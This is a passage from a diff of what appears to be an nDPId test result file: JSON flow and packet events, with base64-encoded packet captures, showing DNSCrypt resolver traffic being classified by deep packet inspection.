t_ip":"93.95.226.165","src_port":58113,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00776{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":268,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":106,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312402323,"flow_src_last_pkt_time":946739312402323,"flow_dst_last_pkt_time":946739312402323,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312402323,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":42156,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01202{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":268,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_src_last_pkt_time":946739312402323,"flow_dst_last_pkt_time":946739312402323,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739312402323,"pkt":"REREREREZmZmZmZmCABFAAIc7uBAAL0RzC4KAAABXV\/ipaSsAbsCCALbx+oBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANpczIEZDB3bgNiaXoAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00881{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":268,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":106,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312402323,"flow_src_last_pkt_time":946739312402323,"flow_dst_last_pkt_time":946739312402323,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312402323,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":42156,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":269,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739312402335} -00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":269,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739312402323,"pkt":"REREREREZmZmZmZmCABFAABQ7t8Aub0RDUMKAAABXV\/ipQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00776{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":270,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":107,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312402350,"flow_src_last_pkt_time":946739312402350,"flow_dst_last_pkt_time":946739312402350,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312402350,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":58936,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01202{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":270,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_src_last_pkt_time":946739312402350,"flow_dst_last_pkt_time":946739312402350,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739312402350,"pkt":"REREREREZmZmZmZmCABFAAIc7uFAAL0RzC0KAAABXV\/ipeY4AbsCCALbx+gBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANpczIEZDB3bgNiaXoAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00881{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":270,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":107,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312402350,"flow_src_last_pkt_time":946739312402350,"flow_dst_last_pkt_time":946739312402350,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312402350,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":58936,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":271,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":108,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312402392,"flow_src_last_pkt_time":946739312402392,"flow_dst_last_pkt_time":946739312402392,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312402392,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":40595,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02485{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":271,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_src_last_pkt_time":946739312402392,"flow_dst_last_pkt_time":946739312402392,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739312402392,"pkt":"REREREREZmZmZmZmCABFAAXc7uIgAL0R6GwKAAABXV\/ipZ6TAbsGBGH4x+cBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANpczIEZDB3bgNiaXoAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":271,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":108,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739312402392,"flow_src_last_pkt_time":946739312402392,"flow_dst_last_pkt_time":946739312402392,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739312402392,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":40595,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":272,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739312402408} -00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":272,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739312402392,"pkt":"REREREREZmZmZmZmCABFAABQ7uIAub0RDUAKAAABXV\/ipQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00766{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":2,"flow_src_last_pkt_time":946739312286047,"flow_dst_last_pkt_time":946739312405003,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"thread_ts_usec":946739312405003,"pkt":"ZmZmZmZmRERERERECABFAADUFOtAADYRDapCVR5zCgAAAQG7nKMAwIXDLCqBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADd8l9MieIsifjQGavIzw6tdHygby+pfz9uNV\/2so9cMC7hGKDfc+LzmB07CCRnhhWiHEKH9gFPecA8dSkDUDQHbk9p0e06j3wfoDIfK8NHA0t38M\/xpcLwZlzH2416A0JuT2nR7TqPfAAAAAFfU1T+X1Smfg=="} 00767{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":2,"flow_src_last_pkt_time":946739312286137,"flow_dst_last_pkt_time":946739312406315,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"thread_ts_usec":946739312406315,"pkt":"ZmZmZmZmRERERERECABFAADUFOxAADYRDalCVR5zCgAAAQG7uUgAwGkdLCuBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADd8l9MieIsifjQGavIzw6tdHygby+pfz9uNV\/2so9cMC7hGKDfc+LzmB07CCRnhhWiHEKH9gFPecA8dSkDUDQHbk9p0e06j3wfoDIfK8NHA0t38M\/xpcLwZlzH2416A0JuT2nR7TqPfAAAAAFfU1T+X1Smfg=="} 00767{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":2,"flow_src_last_pkt_time":946739312286182,"flow_dst_last_pkt_time":946739312407141,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"thread_ts_usec":946739312407141,"pkt":"ZmZmZmZmRERERERECABFAADUFO1AADYRDahCVR5zCgAAAQG7izIAwJc3LCeBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADd8l9MieIsifjQGavIzw6tdHygby+pfz9uNV\/2so9cMC7hGKDfc+LzmB07CCRnhhWiHEKH9gFPecA8dSkDUDQHbk9p0e06j3wfoDIfK8NHA0t38M\/xpcLwZlzH2416A0JuT2nR7TqPfAAAAAFfU1T+X1Smfg=="} @@ -558,13 +482,9 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":280,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":110,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317403317,"flow_src_last_pkt_time":946739317403317,"flow_dst_last_pkt_time":946739317403317,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317403317,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":47257,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_src_last_pkt_time":946739317403317,"flow_dst_last_pkt_time":946739317403317,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739317403317,"pkt":"REREREREZmZmZmZmCABFAAXcmsIgAL0RopIKAAABM56mYbiZAbsGBBC9B18BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAEAAAAAAAAAAAAFvwAMBbsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":280,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":110,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317403317,"flow_src_last_pkt_time":946739317403317,"flow_dst_last_pkt_time":946739317403317,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317403317,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":47257,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":281,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739317403330} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":281,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739317403317,"pkt":"REREREREZmZmZmZmCABFAABQmsIAub0Rx2UKAAABM56mYQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":282,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":111,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317403338,"flow_src_last_pkt_time":946739317403338,"flow_dst_last_pkt_time":946739317403338,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317403338,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":46066,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":282,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_src_last_pkt_time":946739317403338,"flow_dst_last_pkt_time":946739317403338,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739317403338,"pkt":"REREREREZmZmZmZmCABFAAXcmsMgAL0RopEKAAABM56mYbPyAbsGBBVmB10BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAEAAAAAAAAAAAAFvwAMBbsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA